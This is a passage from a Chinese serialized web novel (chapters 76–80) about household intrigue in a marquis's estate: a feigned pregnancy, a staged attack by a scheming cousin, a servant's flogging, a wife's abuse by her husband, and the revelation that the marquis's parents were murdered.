“二叔母一家极擅演戏,这些年对外对内都是一副为了侯府、侯爷殚精竭虑的样子,若没确凿的证据,前去问罪,二叔母定不会认,指不定要反咬一口,说侯爷不念她的养育之恩,引人非议。”
她之前出府时特意去了解过,由于齐文台父子多年的宣扬,整个汴京,上至圣上贵人,下至西市百姓,皆道定宁侯天生病弱,是其二叔父一家费心照料大的。
齐司延目光中有满意和欣赏,静待后文。
江元音接着道:“要收集二叔母给侯爷下毒的证据,有些难度,但可以引君入瓮,层层递进。”
齐司延饶有兴致地问:“阿音预备如何引君入瓮,层层递进?”
“马上就到二叔父的生辰宴,除了亲眷,还邀了二叔父的同僚、汴京的达官贵人,”江元音抬手放到自己腹部,回道:“二叔母容不下我们的孩子,一定会动手的,我们便在那日遂了二叔母的心愿,当着众人的面揭开二叔母觊觎侯爵之位的蛇蝎心肠,等那些达官贵人将此事传播开来,侯爷再顺水推舟,彻查二叔母给你**一事,届时二叔母声名狼藉,再没法反咬侯爷。”
当一个人坏了名声,大家只会更恶意地揣测其动机。
只要在齐文台的生辰宴,揭示陆氏为了让其嫡长孙齐维航承袭齐司延的侯爵,而恶毒的杀死她肚子里的孩子,那其给齐司延**的事,哪怕没有确切的证据,大家都不会质疑。
**素来如此。
可齐司延却沉了脸,不悦否决:“不可。”
“为何?”江元音虚心请教,“是我漏了什么没思虑周全?”
齐司延垂眼瞟了她的腹部一眼,语气生硬道:“不可拿我们的孩子玩闹。”
江元音一时有些理解不了的懵。
她一头雾水地同他确认:“我并非真的有孕,侯爷忘了?”
她前面不都说了,她是吃了药,才有了喜脉吗?
昨晚还因为他们没有圆房,她却怀孕了而发疯,今天怎么又说“我们的孩子”了?
齐司延义正辞严道:“兆头不好,不吉利。”
他不允许她拿他们的孩子来开玩笑,哪怕只是一个目前而言并不存在的孩子。
他们的孩子,应该平平安安,健健康康。
江元音眼角一跳,一时没忍住反驳道:“……那十月后,生个看不见的孩子,便是好兆头,吉利了?”
齐司延掀了掀眼皮,耐人寻味地暗示道:“还有十个月,怎会生出个看不见的孩子?”
他幽幽地盯着她,“阿音是不相信我,还是怀疑自己?”
江元音心道这个男人又来了,在生孩子方面真是半点质疑也接受不了。
不过这想法倒是和她不谋而合。
她眉眼弯弯,好脾气地附和:“侯爷如今身子大好,身强体壮,妾身怎会不相信侯爷呢?”
她一句带过,将话题拉回正事上,问道:“如果此计不行,那侯爷有何妙招?”
她的想法,她都坦诚说了,也该听听他是作何想的了。
齐司延道:“齐文台的生辰的确是个绝佳的时机,但重点该放到齐文台身上,而非陆氏。”
江元音一听他直呼齐文台和陆氏,而非“二叔父”、“二叔母”,心里便有了底。
他定不会轻易放过他们。
她追问道:“侯爷的意思是?”
“陆氏所作所为终究是后宅之事,便是证据确凿,也不一定能撼动其夫、其子乃至其孙的仕途前景,你别忘了,齐文台有多少房妾室,陆氏并非无可取代。”
“**绝非陆氏一人所为,陆氏势力歹毒,可齐文台更不无辜,若是针对陆氏而下手,难保齐文台不会弃之保全自身,到时要收拾齐文台反而不太容易。”
“可若是从齐文台入手,他们一个也跑不了。”
江元音认可点头,她并非没想到这一点,只是她几乎没什么能和齐文台打交道的机会。
她更没有人脉可去探听齐文
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台在官场的事,只能从不断作妖的陆氏着手。
江元音问道:“侯爷这般说,可是搜集到什么证据了?”
想到他讳莫如深的刀伤,猜测道:“侯爷昨夜受伤,可与之相关?”
所以他才谨慎得不肯唤郎中来处理,同她摊牌要对付齐文台与陆氏?
齐司延摇头否认,依旧不愿多谈受伤的事,绕回对付齐文台的话题上。
他道:“对付齐文台,无需什么证据,他没少打着侯府的名号在外作恶,那些受欺的人从前不敢闹,我会给他们机会,来齐文台的生辰宴上,讨要个公道。”
“而这,只是开始。”
江元音会意,眉眼上扬,“那侯爷对付齐文台,我对付陆氏,一道联手,岂不成效更佳?”
直到此时此刻,她才真切有了与他同仇敌忾的感觉。
他不再是限制她行动,让她忧心顾虑后果的存在。
他亦不是她先前以为的,毫无所察,无力还击、不打算还击的人。
齐司延却不赞同,再次重复提醒道:“不可拿我们的孩子玩闹。”
江元音无语看他,“侯爷放心,我们的孩子一定没事。”
并非一定要让“孩子”没了才能用这一招,行凶未遂一样能证明陆氏的歹毒。
她无意在这个话题上纠结,又拿起了先前放下的缣帛,“侯爷预备何时添上这二三四五条?”
“看你日后所为再议。”
江元音稍稍攥紧了缣帛,眸光潋滟地望着齐司延,柔声问道:“所以这家规是侯爷专门为妾身立的规矩吗?”
她凑近些,眨了眨卷翘的睫毛,无辜又糅杂着些许委屈地说:“这既是侯爷费心为我们的家所设立的规矩,若只我一人遵守,如何能算是我们的家呢?”
她特意加重了“我们”的发音。
齐司延明知她在装可怜,偏生吃她这一套,“既是家规,我自然也会遵守。”
江元音眉眼弯弯,声音越发轻柔,“既然侯爷也会遵守,那我是不是也可以添写?”
齐司延冷脸,眼底却有了然的纵容:“嗯。”
她原来打的是这个主意。
他倒要看看她要添写什么规矩。
第76章 还有谁要害侯爷?
两人挑明说开后,江元音不必拐弯抹角,可以直接去确认他身体的状况。
一番问询后得知,他五感几乎恢复,双腿也无大碍。
他痊愈得比她预料中的要快很多,以他之前那种几乎眼瞎耳聋的状态,她还以为至少要养个大半年呢。
不过转瞬想有元奚**相助,他能好这么快,也正常。
是以江元音先停了他的解毒汤药,转为细心替他更换胸口的伤药。
下午的时候,邓嬷来了趟青松院。
说是替陆氏来给江元音送些保胎的补品,见着齐司延,打探其是否知晓她昨夜闯进药浴池了。
然而齐司延充耳不闻,没搭理她半句。
邓嬷只好悻悻离开,她一路一步三回头,见夫妇俩你侬我侬地咬耳朵,不满地直嘀咕:“奇了怪了,前些日子人影不见,现在又如胶似漆了!”
就这么过了两日,江元音开始觉得奇怪了。
齐司延从云鹤观回来已有三天,她却一直没见过曲休。
她忍不住询问:“侯爷,曲休呢?”
怕他又吃味不悦,她接着补了句:“侯爷不喜人近身侍候,曲休是难得得能留在侯爷跟前的人,他不在,侯爷岂不是要辛苦不便很多?”
从她嫁入侯府,除去后来她与齐司延同房睡后,曲休几乎和齐司延形影不离。
一连数日不出现,实在奇怪。
齐司延神色淡淡,看不出什么情绪来,淡声回道:“他去追查处理伤我的歹人了。”
江元音捕捉到了重要的信息,“那歹人是知晓侯爷身份,故意伤了侯爷?”
一来能在曲休眼皮底下,让齐司延受伤,定不是普通歹人。
齐司延一直讳莫如深,还派曲休追查,这歹人定不简单。
齐司延轻“嗯”了声,“是冲我来的。”
“既是冲侯爷来的,便是知晓侯爷出府去了云鹤观的人,会是齐文台吗?所以侯爷回府那日,陆氏似是笃定你不在府上一般,差点闯进药浴池,”江元音兀自分析着,很快又自我否认,“不对,若真是他们,这两日直接来找侯爷确认便是,不会毫无动静。”
“难道是云鹤观的人走漏了风声?”
“侯爷,除了齐文台与陆氏,还有谁会害你?”
齐司延对外不过是个不迈出侯府的病秧子,不树敌亦不会成为其他人的眼中钉才是。
齐司延无意和江元音深究讨论此事,含糊回道:“得等曲休回来才有眉目。”
江元音点点头,不再追问。
眼瞅着马上要到六月十二,齐文台的生辰。
虽说齐司延已有了对付齐文台的法子,可江元音一点没松懈,将自己原本的计划稍作修改,依旧决定在那一日,给陆氏一击。
六月初九午后,有丫鬟来青松院传话。
丫鬟:“我家夫人邀侯夫人去兰竹阁品茶。”
兰竹阁是秦氏居住的别院。
江元音闻言,不着痕迹地打量了这丫鬟几眼,笑吟吟地确认道:“堂嫂邀我去品茶?”
她素来谨慎,“假孕”的事只有雪燕、清秋以及齐司延知晓,并未告知秦氏,免生意外。
秦氏怕是整个侯府最为在意她肚中“孩子”的人,生怕她肚中“孩子”有个万一,近来秦氏在操持生辰宴,忙得不可开交,两人只见过一面,但那一会秦氏特意换了她的茶水,说是她脉象不稳,不宜饮茶。
现下却派丫鬟来邀她品茶?
她一听便觉得不对劲,何况眼前这个丫鬟根本不是秦氏平日里派来传话的丫鬟。
陆氏又来作妖了?
丫鬟点头:“是呢,三日后便是叔祖父的生辰,我家夫人挑选了好几款茶水,拿不定主意,想请侯夫人过去做个参考。”
江元音表示了然地点点头,又问:“你看着面生,我怎地好似没在兰竹阁
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见过你?你叫什么?”
“奴婢名唤欢意,侯夫人觉得奴婢面生或许是因为奴婢没在我家夫人与侯夫人跟前侍候过。”
“这样啊……”江元音似是深思一般拉长了语调,又唤道:“清秋。”
清秋上前俯身:“清秋在。”
江元音吩咐道:“你领欢意去趟兰竹阁,确认一下她的身份。”
语罢又冲欢意道:“堂嫂待我极好,又是为了二叔父生辰的事找我前去,我却之不恭,只是我脉象不稳,侯爷甚是忧心,本不许我随意出院,怕动了胎气,待确认了你的身份,同侯爷报备过后,我立即动身。”
欢意面色变了变,只能点头。
不到两刻钟,清秋折返。
江元音:“她是哪院的人?”
清秋:“欢意的确是兰竹阁的丫鬟,但是是在明宏少爷身边侍候的。”
江元音有几分意外。
不是陆氏,而是齐明宏?
她和齐明宏没打过交道,只知道是陆氏费尽心思培养,却养废了的儿子,不然也不会把心思都转移到齐维航这个嫡长孙身上。
雪燕表态劝阻:“左右没安好心,夫人便说是侯爷不许,拒了得了。”
清秋认可点头:“我这就去传信回绝。”
“不必,”江元音一派轻松地起身,做了决定,“去看看他想做什么。”
她巴不得他不安好心,让她掌握更多的把柄。
现在陆氏那一家子怕是都盯紧了她肚子里的“孩子”。
可这个孩子本就不存在,她没什么好惧怕的。
但江元音也并不过分自大莽撞,谨慎吩咐道:“派人在兰竹阁外候着,我进去半个时辰后,便说是侯爷来寻我了。”
前边故意去查证欢意的身份,说要报备齐司延才能动身,便是在铺垫暗示,她若有个什么万一,可就是冤有头债有主。
谅齐明宏不敢做得太过。
第77章 找刺激
从青松院到兰竹阁,一路绿植都有精心修剪打理过。
处处都可以看出在为三日后的生辰宴做准备。
江元音迈入兰竹阁后,有丫鬟领着她往后院走。
之前打着来看齐维航的幌子,常和秦氏在后院小坐喝茶,她对兰竹阁的后院还算熟悉。
少顷,江元音一行人到了兰竹阁的后院。
露天的石桌上摆放着茶器、茶具,九宫格的木盘上,放置着品类不同的茶叶,一副只等着江元音到了,便可以煮茶品鉴了的样子。
院中因为有上蹿下跳的齐维航,和之前来一样的热闹。
不,是更热闹。
从前只是一些仆妇、丫鬟跟在齐维航身后,怕他磕着碰着,但现在院子里多了很多年轻的家丁。
见江元音的目光落在那些家丁身上,有丫鬟主动出声解释道:“小少爷习武一段时间了,少爷特唤了家丁陪练。”
眼前的丫鬟面生,张嘴便将齐明宏挂在嘴边,种种皆说明,今天唤她来的,不是秦氏而是齐明宏。
江元音表示了然地点点头,温声问道:“堂嫂邀我来品茶,怎不见堂嫂?”
“侯夫人稍安勿躁,且先喝茶等等,我家夫人去账房那边核对近日来的采购单子去了,一会便来。”
江元音不急着戳破,在石凳上落座。
丫鬟立即给她斟茶,江元音瞥了一眼,并没有动的打算。
她将目光投向远处的齐维航,一派悠闲静候的模样,实则一直在默默打量着周遭的一切,捕捉不寻常的地方。
遥记得三个月前,陆氏便说齐维航要开始习武,当时还想拿走比他人都高的,齐司延父亲的遗物玄霜剑。
现在陆氏应当是替他重新定制了一把轻巧的,他能不费劲地挥弄。
四个家丁依次上场,轮流给他当箭靶,任他剑往哪挥,他们都能扬剑接上,不会回击一招。
齐维航每挥一剑,家丁们都惊叹连连。
“好剑!”
“小少爷真是资质卓越!”
“小少爷天赋异禀,剑术惊人!”
江元音:……
她再一次在齐维航身上,看到了幼时江正耀的影子。
受宠嫡子的幼年大抵都是如此,只要会呼吸都能被夸。
直到第三位家丁上场,江元音马上看出了不对劲。
他明显不是站着当箭靶,而是引导着齐维航朝着她的方向越走越近,目的明确地奔她而来。
江元音算是摸清楚了齐明宏的计划与目的。
自她“怀孕”以来,陆氏接连喊了好几个郎中给她看诊,每个郎中的诊断结果大差不差,皆是说她脉象不稳,需要静养,不能受刺激,会容易滑胎。
想来齐明宏这是给她找“刺激”来了。
雪燕和清秋亦察觉到了不对劲,神色紧张地盯着。
江元音倒是淡然,甚至眼底隐隐有些期待。
她会将计就计,欣然接受了齐明宏给她安排的“刺激”,再如他所愿地受到惊吓,腹痛难忍,险些滑胎,最后彻查此事。
不知齐明宏许了这家丁什么好处,迟些她得威吓到什么程度,家丁才会供出他呢?
江元音兀自想着,眼睛一点没闲着,先是确定石桌上那一壶泡茶热水的位置,继而盯准那家丁位置。
她既然打算“受刺激”,那被刺激后有任何过激的行为,都理所应当。
齐维航追逐着家丁越来越近,因为一直挥剑刺不到,他明显情绪上头,越来越急躁,一剑比一剑挥得更猛。
家丁目的明确的朝着江元音的方向去躲,照这个架势,齐维航很快便能误砍到江元音。
江元音在心里盘算着该出手的距离,等到家丁离她一步之遥时,她会满足他们的惊叫出声,再“慌乱”把滚烫的热水朝家丁泼过去。
管他是自发还是受人指使,他既然能对她下手,他就不无辜。
然而江元音做好了准备,却没能实施。
在齐维航离她还有半丈远的时候,秦氏赶到,一把抓住了他拿剑的手,气喘吁吁地呵斥道:“维航,为娘说过,在堂婶面前得轻声细语,不得让堂
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嫂受到惊吓,你怎么还舞刀弄剑起来了!吓到堂婶了该如何是好!”
秦氏额头上是细密的薄汗,一半是因为紧张,一半是因为得到消息一路跑来。
还好来得及时,没有酿成大祸!
呵斥完齐维航,秦氏转头看向江元音,急切担忧地问道:“你可还好?有事没事?”
江元音的目光却落在秦氏抓住齐维航的手上。
入了夏,衣着单薄,宽大的袖口随着她抬手的姿势滑落,露出一截小手臂。
那手臂上全是青青紫紫的淤痕,不见尽头的没入堆起来的衣袖里,足以令人想见衣裳下,是怎样的惨状。
江元音神色一凛。
秦氏挨打了。
陆氏打的还是齐明宏?
秦氏顺着江元音的目光看向自己的手臂,脸色骤变,慌忙松开齐维航,垂下手,下意识地按紧了袖口遮掩。
江元音秀眉微蹙,刚想上前一步询问,一旁的家丁却没死心,佯作跌倒,直接朝她身上摔过去。
她余光捕捉到,反应极快地侧身避开,按照她先前计划的那样,惊呼一声,拿过桌上的热水壶,狠准地朝家丁身上泼过去。
她心中正因为秦氏身上的淤青而冒火,现下全部撒在这起了歹念的家丁身上。
原本秦氏突然出现,她要放他一马了,他非得作死往前凑。
“啊——!好烫!好痛!啊——!”
家丁被烫得满地打滚,失声嚎叫。
江元音藏匿着眼底的凶狠,一副受了惊吓的模样,一手撑在石桌上,一手捂着胸口,大口喘气,“吓死我了……你做甚撞我?”
雪燕、清秋以及秦氏都围了过去。
“没事吧夫人?”
“没事了弟妹,千万别急,莫动了胎气!”
江元音无声望了雪燕一眼。
雪燕会意,声冲地上打滚的家丁道:“侯府上下皆知夫人有孕在身,需细心侍候着,可我刚看得清清楚楚,你是故意往夫人身上撞的,我家夫人与你无冤无仇,说,到底是谁指使你的?!”
第78章 将和离权掌握在自己手中
“吵吵什么呢?”一道不耐烦的男声自长廊走道传来。
正是齐明宏。
齐明宏负手而立,下巴微仰,满脸不悦的呵斥道:“难得休沐在家,半点不清净,吵得人脑瓜都疼。”
秦氏闻声不受控的哆嗦了下,下意识的护在江元音的身前,声音发抖,极小声的说道:“你快些走,这里不安全。”
江元音望着秦氏瑟缩的背影,心里很不是滋味。
不可否认她这么护着自己的确有私心,她是想护着自己肚里的孩子,方能留住她自己的孩子。
可当初陆氏还没提出要将齐维航过继给她时,秦氏便在陆氏面前呵斥过对她无礼的齐维航。
现在如此害怕齐明宏,依旧护在自己身前。
秦氏懦弱,却并非是善恶不分之辈。
江元音将齐明宏视若空气,凑近秦氏耳畔,低声问道:“他打你了?”
秦氏身子微颤,不正面回答,语速更急道:“他受了母亲教唆,要对你……总之你快些离开吧,我来应付他。”
江元音眸色一沉。
秦氏的反应已给出了回答。
打她的人不是陆氏,而是齐明宏。
真是物以类聚人以群分,陆氏一家全是败类恶人。
“嘀咕什么呢!”齐明宏心虚不悦大喊,冲秦氏恶气道:“院子里一团乱,你还有空咬耳朵,你便是这般打理后宅的?难怪母亲不悦你,你可有半点能接替母亲,成为主母的能力?”
江元音抬手抚心,夸张惊呼道:“好好的,堂哥怎地突然发狂叫了起来,吓得我心肝直颤!”
呵,堪称犬吠。
齐明宏黑脸,大步迈向院中,指着地上叫嚷的家丁,反咬江元音道:“弟妹这是仗着有孕便在侯府横行霸道了?竟欺负起我院中奴仆了?”
丫鬟帮腔道:“侯夫人无故拿热水泼人,好生可怕!”
“呸——”雪燕立即反驳,“瞎了眼了,分明他故意往我家夫人身上撞,若非我家夫人反应快,拿热水逼退他,这会只怕是要唤郎中来安胎了!”
清秋:“夫人若有闪失,侯爷必定饶不了你们!”
江元音冲齐明宏道:“堂哥有所不知,今日兰竹阁有丫鬟假冒堂嫂的名义邀我过来品茶,之后便有了这家丁故意撞我之事,事情蹊跷,显然是有人在故意陷害堂哥,离间我和侯爷与堂哥的关系,此事决不能姑息,我这就将这家丁带走,交由侯爷处置。”
齐明宏恶狠狠地瞪着秦氏,近乎威胁的问道:“不是你邀她过来品茶的?”
秦氏垂首,根本不敢直视他,“我……我……”
“你给我过来!”齐明宏喝道:“你好好说清楚!”
秦氏抖得厉害,近乎本能的惶恐。
江元音一把拉住了秦氏,“堂嫂需得同我一道去见侯爷呢。”
齐明宏可不打算就这样放江元音走,冷声道:“弟妹来我院中一趟,伤我奴仆,给我泼了脏水就要走?”
让家丁以陪齐维航练剑为由吓唬江元音还只是开始,他真正的招都没使出来。
该死的秦氏,不肯配合他也就罢了,还敢出来坏他的事!
这时江元音先前嘱咐的仆妇带了青松院的小厮过来。
小厮:“夫人,侯爷唤您回去。”
雪燕指着地上的家丁道:“此人意图伤害夫人,绑他去见侯爷!”
小厮与仆妇立即制住地上的家丁。
江元音惋惜道:“堂哥见谅,侯爷唤我,我得走了。”
末了,邀约问道:“要不堂哥也随我一道去见侯爷?”
“这事与我何干,我为何要去?”齐明宏立马撇清了自己,目光依次在家丁和秦氏之间来回,威胁暗示道:“到了侯爷面前,你们可得如实说!”
江元音不多言,挽住秦氏的手,拉着她一道离开。
出了兰竹阁,她方才一脸严肃地问:“他为何打你?”
“没事的,”秦氏不欲多言,“不是什么新鲜事。”
“你莫怕,只要你咬死今日不曾邀我来品茶,我自有法子替你收拾教训他!”
“不、不可……”秦氏连连摇头,“我知你是为我好,只是这事我不能听你的……”
江元音拧眉,不可思议道:“这个时候你还护着他?他这般欺负你,你对他还有感情?”
“我对他自然没有感情,我如今只想守住维航就心满意足,”秦氏眼泛泪光,“你今日帮我教训了他又能如何?他只会在日后加倍报之于我,
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我的日子只会更加地难捱。”
“的确是我一时气愤难当,思虑欠妥,”江元音缓和了语气,诚心劝慰道:“你既与他没了情分,他待你恶劣,与其余生活在水深火热里,不如与之和离,日后他再没法子折磨你。”
“我无娘家庇佑,他不可能准我和离的,闹得凶了,他若休了我,我成了下堂妇,我以后如何……”秦氏打住,叹息道:“罢了,侯爷对你爱护有加,你自不会懂得我的苦楚。”
“你啊,先前不该同娘家人闹得太僵的……”秦氏满目深意,“惟愿侯爷待你十年如一日,你永不懂我的苦楚。”
秦氏不肯去见齐司延揭露齐明宏,同江元音分别离开。
江元音心里五味杂陈,被一种无力感包裹。
她完全理解秦氏的顾虑苦衷。
世间待女子本就苛刻,婚嫁和离皆不由己。
她其实自决定嫁给齐司延就没期盼过他的爱,更没奢望过他对她能十年如一日。
最开始,她没想插手他的人生,只想和他相敬如宾过个一年半载,他去世了,她便拿着嫁妆回到江南,做个快活的寡妇。
可如今和计划背道而驰。
他日后若变心凉薄,亏欠于她,她能顺遂和离吗?
江元音刚回到青松院,便撞见了闻讯候在前院的齐司延。
她上前将在兰竹阁发生的种种复述了遍,末了看着被押解的家丁,扬声道:“他不知是受谁指使,故意持剑撞我,请侯爷彻查,免得人心惶惶。”
这话看似是说给齐司延听的,其实字字都是说给犯事的家丁听的。
然而齐司延却只是蹙眉上下扫视打量江元音,问:“你可有被开水溅到?”
江元音摇头。
齐司延这才冷眼扫了那家丁一眼,语气没甚起伏,似谈论天气一般淡然道:“半个时辰内若不招,便拖去兰竹阁门口,杖毙。”
家丁抖如筛糠。
江元音的心情有些难以言喻的微妙。
齐司延从来不是什么没脾气的废物侯爷。
她上辈子吃过亏,更不可能拿余生去赌他会一辈子不变地待她好。
她必须将“和离”的主动权掌握在自己手中,他若有变,她便果断和离。
第79章 只有丧偶,没有休妻
不知齐明宏是许了家丁什么好处,还是家丁有什么把柄落在了齐明宏手中。
他宁可被杖毙,也没将齐明宏给供出来。
江元音明显情绪不佳,回了主屋后长叹了一口气。
齐司延打量着她的神色,问道:“在兰竹阁受了气?”
江元音摇头,自顾自地往窗边一坐,望向窗外,留给他一张心事重重的侧脸。
齐司延目光追随着她,接着揣测问道:“因为那小厮不肯招不高兴?”
江元音依旧摇头,单手支着下巴,满脸怅惘。
齐司延抬眼望向雪燕与清秋,无声探寻:夫人怎么了?
雪燕与清秋相继摇头。
她们的确不知晓江元音此刻在忧郁什么。
齐司延轻点下巴,示意她们和给他推轮椅的小厮退下。
屋内只剩下他们两人。
齐司延起身在江元音身旁落座,“那是为何?”
他沉声提醒道:“别忘了家规第一条。”
江元音这才转过头,叹息道:“没有受气,只是今日看到堂嫂的遭遇,一时感慨颇多。”
这是她为了自己目的的铺垫,亦是实话。
“哦?”齐司延挑眉,没让她的话落在地上,“什么遭遇,有何感慨,说来听听?”
江元音缓声道出备好的说辞:“今日堂嫂赶来帮我,我无意间看到她伤痕累累的手臂,才知齐明宏没事殴打发妻。”
她抬眼看他,“同为女子,妾身心有戚戚焉。”
齐司延见她眸光闪烁,俨然有控诉之意。
他又好气又好笑,抬手指了指自己的唇,为自己正名道:“我唇伤未愈,阿音心有戚戚焉什么?”
那夜便是暴怒,他扼住她脖颈的手始终没舍得用力。
她数次推按他胸口刀伤,他也未吭一声。
反倒是她,撕咬他唇时,可是一点劲没收,凶狠得很呢。
江元音略有些心虚得侧了侧眸,又道:“现在侯爷的确对我爱护有加,可以后呢?人心易变,如何说得准?”
齐司延微微拧眉,“且不论人心是否易变,殴打发妻是品性问题,与人心何干?难不成在阿音眼里,我是会对妻子拳脚相向的男人?”
他放柔了语气,伸手拉住她的手,许诺安抚道:“若有那一日,阿音可去御前告状,你是圣上赐婚与我的妻,圣上定会为你做主。”
“御前告状并非易事,管得了侯爷殴打发妻,可不一定管得了侯爷变心。”
“怎又扯到变心上去了?”
江元音抽回自己的手,“左右都是令女子伤心的事,侯爷不乐意听,我便不说了。”
齐司延意识到这是江元音难得一见的在同他使性子。
“我当然乐意听,”他再次拉过她的手,好脾气地哄道:“那我要如何做,阿音才会安心不难过?”
江元音这才转头看向他,确认问道:“我说了侯爷便会允吗?”
齐司延纵容轻“嗯”。
“堂嫂过得不好,却不敢和离,也没法和离,妾身不想有朝一日落得和堂嫂一样的境地……”
齐司延稍稍握紧了她的手,不悦打断:“你因为看到齐明宏殴打秦氏,便琢磨上与我和离了?”
……这是哪门子的逻辑?
“自然不是,侯爷也知我并不受父母家人喜爱,家人待我尚且如此,我自不敢要求侯爷待我十年如一日,我只想请侯爷看在我近段时日费心替你熬药解毒有功的份上,想向侯爷求个承诺。”
“若真有侯爷变心亏待于我那一日,不必诉之御前,望侯爷能准我和离,好聚好散。”
齐司延沉脸,薄唇抿成直线,“……本侯不会薄待发妻。”
江元音回握住他的手,放缓了语调,“既不会有那一日,侯爷承诺我又何妨?”
一阵沉默过后,齐司延深呼吸,如她所愿的颔首:“好。”
不待她回应,他接着起身,倾身上前,双手撑在她两侧的窗沿上,将她虚圈入怀。
他目不转睛地望着她,问:“那你呢?”
“若你有变心亏待我那日,当如何?”
江元音震惊于他会这般发问。
世间处境不易的只有女子,更别说他们两人的身份地位本就天差地别。
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等他身子好全,过两日收拾了齐文台,拿回属于定宁侯的实权,他们之间的身份差距只会更大。
她若有半点对不住他的地方,他要处置她分明轻松得很,何须过问她?
何况,她无心情爱,只想过安生自在的日子,亏待他作甚?
江元音被他的气息笼罩,仰头看他,回道:“那侯爷便休了我,将我扫地出门……”
“休想,”齐司延打断她,伸手抚上她的脸庞,“我齐司延只有丧偶,没有休妻。”
他咬字极轻,却气场迫人。
江元音后背一阵发凉,越发觉得两人处境真是天差地别,以及他真是吃不了半点亏。
只要丧偶,没有休妻?
她只是给自己争取一个全身而退的可能,他直接要她的命。
不过此时她也算是理解了齐司延先前的心情,被人质疑提防自己笃定不会发生的事情的无奈。
不会发生的事,有何好惧?
江元音双手握住齐司延抚着她脸庞的手,移至她脖颈,浅笑道:“好,若我有先对不住侯爷的地方,侯爷直接掐死我好了。”
齐司延抓住了关键字眼,“先?”
“是,我其实没有表面上看起来的那般没脾气,我心眼很小的,”话已至此,江元音很是坦荡,“便如侯爷之前说的,没有以德报怨的理,侯爷若先待我不好,我保不准会报复的。”
齐司延摩挲着她的脖颈,“看出来了。”
江元音大大方方应了“心眼小”的评价,见氛围缓和,拉回正题道:“既然侯爷与我已达成共识,那便将这一点添入家规里如何?”
齐司延眯眼,轻哼道:“阿音真是深谋远虑,那日说要添写家规,便是在为今日铺垫?”
“冤枉啊侯爷,”江元音眨眨眼,一派无辜地瞅着他,“我真是今日见着堂嫂被触动,不免有些忧思难过。”
齐司延满眼不赞同,但一开口还是安抚的语气,“你不是秦氏,我亦不是齐明宏,不必庸人自扰,杞人忧天。”
“那我们刚说的可添进家规里吗?”
“……依你。”
第80章 有结果了
兰竹阁门口。
全院的奴仆都被唤出来,要求他们旁观撞江元音的家丁接受杖刑。
他被打得皮开肉绽,惨叫连连。
那些观刑的奴仆一个个脸色发白,直冒冷汗。
家丁实在扛不住,拼尽全力的抬手,一句“我招”都没能说出口,就吊着一口气,彻底地痛昏过去。
行刑的小厮交换了下眼神,停下手中的杖棍,用力墩了墩地,扬声道:“传侯爷口信,日后还有谁敢冲撞夫人,下场如同此人!”
奴仆们眯眼瞅着那不知是不是被活活打**的家丁,一个个怕得发抖,连连点头应声。
“奴婢不敢!”
“奴才不敢!”
然而兰竹阁主屋同样是一片暴力过后的狼藉。
满地歪歪倒倒的桌椅,地上都是摔碎的杯盏、瓷器。
秦氏趴在地上,一脸麻木地靠着倒落的桌子,她目光呆滞,无喜无悲。
她没有求饶,没有哭喊,甚至没有辩驳。
齐明宏打累了,双脚大开的坐在榻上,大口喘气地冲秦氏道:“要不是看三天后就是父亲生辰,我今日非得打死你这个吃里扒外的东西!”
“蠢东西,你把儿子留在身边能给他什么?他原本有更好的前程!”
“下次再敢坏我的事,我要你好看!”
秦氏不语,任由他骂。
齐明宏不是第一次动手打她,但都避开了明面显眼的位置,她只需穿好衣服,便能将伤痕遮挡严实。
无所谓,她都能忍。
等到江元音顺利生下孩子,他们就不得不**这份心。
另一边,青松院,齐司延书房。
去给家丁杖刑的小厮回来禀告。
小厮:“侯爷,那家丁愿招了,可惜昏了过去。”
齐司延头都没抬:“给他上药,醒了再问。”
“是,侯爷。”
小厮退出了书房,下一瞬马上又有人迈了进来。
齐司延只当小厮去而复返,目光依旧在手中的卷轴上,开口问道:“还有事?”
曲休上前躬身,“侯爷,是我。”
听见熟悉的声音,齐司延抬眼,沉声问道:“可有结果了?”
曲休点头,深吸了一口气,神色很是凝重。
齐司延有了不好的预感,紧声道:“直说。”
曲休取下腰腹间悬挂着的卷筒,双手递交过去。
等到齐司延接过卷筒,他开口道:“侯爷,先侯夫妇当年,乃是枉死!”
齐司延拿着卷筒,动作一顿。
曲休已兀自消化酝酿了几日,现下一提及仍旧控制不住的悲愤、沉痛,“卷筒里是关于‘沧江水战’一事的陈情,当年先侯夫妇率一千将士先遣,是被大火逼上沧江,战船早被做了手脚,行至江中沉船,待其游至筋疲力尽……溺亡。”
他其实还省略了很多,不忍细说。
比如江边站满了弓箭手,一旦有人快要游至岸边,便一箭击毙。
再比如那些弓箭手,都是先侯领着出发的“自己人”。
那日是大寒,江水虽未冻结,亦是冰冷刺骨。
撑过了江水的寒,拼尽全力游到岸边,再被自己人放箭射杀。
那夜江水寒,但让人感到彻骨的,一定是人心。
齐司延攥着卷筒,第一次生出些怯弱。
他竟有些,不敢翻阅。
他清俊的脸紧绷,看不出什么情绪的起伏,只是攥着卷筒的手指,用力到发白。
随后他抬眼望向风尘仆仆的曲休,连日的奔波,曲休眼下发青,看起来很是疲惫。
他声音是极力克制情绪的轻,“你先回房沐浴小憩一番吧。”
曲休知晓齐司延是想一个人静静,点头应下。
可他没有急着离开,兀自纠结了一会,还是下定了决心,跪地道:“还望侯爷尽早走出悲痛,关将军与一众死士听您号令,早日为先侯夫妇与惨死的将士们,报仇雪恨!”
他俯身叩首,一如不日前那些死士激昂跪地,让他传话一般。
曲休退下后,齐司延木然坐了许久,好半晌才打开了手中的卷筒。
江元音如愿以偿的将“如若齐司延有变心
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活亏欠她的地方,允她和离”这一点添写到家规的缣帛里。
之后又听闻家丁在兰竹阁门口,被打得奄奄一息,被拖回了青松院,她便知晓,这家丁九成是要招了。
否则他便是没**,也不可能将其带回青松院。
江元音觉得今日虽过得心绪起伏,但好在峰回路转,最后一切都按她心意,进展顺利。
她唯一忧心的是秦氏。
秦氏今日虽没有站出来指证齐明宏,可齐明宏不会善罢甘休的。
他会觉得是秦氏扰乱他的计划,尤其齐司延将家丁拖到兰竹阁大门口杖责,对他而言一定是一种**和羞辱。
他奈何不了她和齐司延,一定会把气撒在秦氏身上。
秦氏说得对,若只是不动根骨地惩治齐明宏,最后日子难捱的只会是秦氏。
但她没有过多的纠结,毕竟那是秦氏的人生。
只有秦氏下定决心要彻底离开齐明宏,她的出谋划策才有意义。
否则,便是多管闲事。
当晚,齐司延久久未回主屋。
江元音觉得有些反常,毕竟他晚饭便没同她一起吃。
不至于是在生气她将“和离权”添写进家规里吧?
江元音动身往齐司延的起居室那边走。
书房一片漆黑。
她又往药浴池和卧房走,仍旧无光。
她越发讶然,想着他刀伤未愈当不可能又出门了,思索间遇见了平日里给他推轮椅的小厮。
